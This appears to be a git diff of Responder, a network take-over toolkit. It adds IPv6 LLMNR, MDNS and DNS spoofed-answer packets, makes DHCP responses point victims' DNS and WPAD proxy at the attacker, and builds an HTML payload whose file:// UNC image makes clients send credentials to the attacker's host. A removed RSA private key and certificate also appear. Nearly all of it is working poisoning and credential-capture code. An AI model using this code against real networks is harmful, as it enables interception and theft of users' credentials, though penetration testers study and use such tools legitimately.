BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE-----

View File

@@ -1,27 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
-----END RSA PRIVATE KEY-----

View File

@@ -1,66 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import sys
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
if (sys.version_info > (3, 0)):
length = struct.unpack('<H',data[43:45])[0]
packet = NetworkRecvBufferPython2or3(data[47+length:])
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate()
Packet = str(h)+str(n)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data)
except:
print(color("[!] ", 1, 1) +" Fingerprint failed")
return None

View File

@@ -1,9 +1,12 @@
import sys
try:
from UserDict import DictMixin
from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
from collections import UserDict
try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin):

View File

@@ -23,7 +23,7 @@ import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -89,7 +89,100 @@ class DNS_Ans(Packet):
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# DNS Answer Packet OPT
class DNS_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
@@ -181,6 +274,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
@@ -200,6 +322,29 @@ class MDNS_Ans(Packet):
])
def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
@@ -299,7 +444,7 @@ class IIS_Auth_Granted(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -358,7 +503,7 @@ class WPADScript(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -2228,7 +2373,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", "LGANDX"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),

View File

@@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import random
import optparse
import configparser
import os
@@ -79,20 +80,24 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = settings.Config.Interface
Responder_IP = FindLocalIP(Interface, None)
Responder_IP = RespondWithIP()
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "lan"
DNSNAME = "local"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True
DHCPClient = []
def GetMacAddress(Interface):
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
try:
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
except:
mac = "00:00:00:00:00:00"
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
@@ -193,22 +198,28 @@ class DHCPACK(Packet):
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252", ""),
("Op252Len", ""),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
def calculate(self, DHCP_DNS):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
if DHCP_DNS:
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
@@ -232,7 +243,7 @@ def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data, ClientIP):
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient
global ROUTERIP
PTid = data[4:8]
@@ -258,12 +269,37 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
@@ -272,11 +308,16 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
def SendDiscover():
@@ -294,7 +335,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP():
def DHCP(DHCP_DNS):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
SendDiscover()
@@ -304,6 +345,6 @@ def DHCP():
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP)
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret:
print(text("[*] [DHCP] %s" % ret))

40
poisoners/LLMNR.py Normal file → Executable file
View File

@@ -14,9 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
from packets import LLMNR_Ans
from packets import LLMNR_Ans, LLMNR6_Ans
from utils import *
if (sys.version_info > (3, 0)):
@@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
def Parse_LLMNR_Name(data):
import codecs
NameLen = data[12]
@@ -60,37 +55,48 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
#IPv4
if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
elif LLMNRType == 'IPv6':
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
except:
raise

60
poisoners/MDNS.py Normal file → Executable file
View File

@@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
from packets import MDNS_Ans, MDNS6_Ans
from utils import *
def Parse_MDNS_Name(data):
@@ -51,37 +51,45 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6': # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS6',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

28
poisoners/NBTNS.py Normal file → Executable file
View File

@@ -14,7 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys
from packets import NBT_Ans
from utils import *
@@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
# Define what are we answering to.
def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode:
return False
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True
elif settings.Config.Wredirect:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
@@ -51,13 +35,8 @@ class NBTNS(BaseRequestHandler):
return None
if data[2:4] == b'\x01\x10':
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
@@ -69,7 +48,7 @@ class NBTNS(BaseRequestHandler):
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
